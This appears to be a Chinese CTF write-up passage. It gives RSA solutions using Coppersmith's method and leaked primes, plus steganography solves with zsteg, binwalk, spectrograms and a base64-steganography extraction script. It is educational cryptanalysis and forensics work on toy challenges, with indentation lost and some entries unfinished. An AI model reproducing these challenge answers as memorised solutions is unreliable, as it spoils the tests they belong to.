# 未知p中间的424位
roots = f.small_roots(X=2 ^ 424, beta=0.4,epsilon=0.02)
for root in roots:
p = leak1+int(root)*2 ^ 500+leak2
q = n // p
d = inverse(e, (p-1)*(q-1))
flag = long_to_bytes(int(pow(c, d, n)))
print(flag)

这就是Coppersmith在密码学中的一个应用

你是capper,还是copper?

P=p<<100,这个就把p的位全部泄露出来了,可以直接打
想通过Q=q>>100,q高位泄露,但是没有n,大概率打不了

from Crypto.Util.number import *
from gmpy2 import *

e = 13072237795424057999129127027979234989717137387957646486113645675299547455876355434346547808746552482965795288244687521108647998478307740108159933821771239011129296482617888480397978257432977308896431711182794340987048211178166823842422554472231405752077101111017727678497340027900077855145324567076470130835
c = 68627543734818005182182738951459640368220444851344171131951942770319683236026987275564911027739185775745844128612642216644533871400591052349794872565933125142881743934565729384895786720059720829738537411808512740621199697348750764033684771791461466523568130279863016302934164238161768481421610386382948741646
P = 8770594378518257184819328657308152928029757169205998713929325053727701443407644651726148745366587806353078115048763121275581729457548618046203512855832519694356213899919351220281540608
# print(bin(P)[2:-100])
p = 0b10000100000110100100100110010010101011110100101001011110100001000110111000110110111110011110010011000100101000100101100000011111011101100011011110101101110111000110000101011001111011010111100101011001010001100110000000010100111110010111101001000011011110101000000111111011110001000010001010000000101110000101011010001010110011010100101000001111010111100001010111110110001001111101011100001000101100011101100001100111101001110111001000010000010010110010111000101111001011010010011000110000101011001110001101011001
assert GCD(e, p) == 1
d = inverse(e, p-1)
print(long_to_bytes(pow(c, d, p)))

暗号-paillier()

同态加密算法paillier
可参考https://cdcq.github.io/2022/04/17/20220417a/
有点卡住了……

misc

涐贪恋和伱、甾―⑺dé毎兮毎秒

lsb隐写,懒狗选择直接上zsteg
zsteg -a a.png
发现了逆着的flag

你说得对,但__

7zip或者binwalk发现二维码下面还有四张残缺的二维码,找个在线网站拼个2*2图片
https://www.lddgo.net/image/stitching-image

原铁,启动!

根据题目
去米游社搜索文字
原神模块找到前半段
星铁模块找到后半段

Everywhere We Go

Audacity频谱图放大得到flag

盯帧珍珠

Stegsolve逐帧查看,即可得到flag

舔到最后应有尽有

base64隐写,直接上挖别人的一个脚本

table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
file = open("LOVE_LETTER.txt")
flag = ''
tmpbin = ''

for line in file.readlines(): # 按照行来读取文本
line = line.strip('\n')
if (line[-1] == '='): # 当第一位是‘=’时
if (line[-2] == '='): # 当第二位是‘=’时
i = table.index(line[-3]) # 返回倒数第三位的字符在字典中的位置
b = bin(i)[2:] # 二进制化后去掉ob前缀
b = b.zfill(6) # 将二进制数填充为6位
print(line)
print(b)
print(b[-4:] + '\n') # 输出二进制化数的倒数4位

tmpbin += b[-4:]
else:
i = table.index(line[-2]) # 返回倒数第二位的字符
b = bin(i)[2:]
b = b.zfill(6)
print(line)
print(b)
print(b[-2:] + '\n') # 输出二进制化数的倒数2位

tmpbin += b[-2:]

length = len(tmpbin) / 8 # 计算数据组数
for i in range(int(length)):
flag += chr(int(tmpbin[i * 8:i * 8 + 8], 2)) # 对二进制数base64编码处理

print(flag)

关键,太关键了!

直接词频统计

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = open("关键,太关键了!\\key.txt").read()

result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts

res = sorted(result.items(), key=lambda item: item[1], reverse=True)
for data in res:
print(data)

for i in res:
flag = str(i[0])
print(flag[0], end="")

根据题目,关键字密码,词频统计出来的秘钥为bingo

女装照流量()

The love()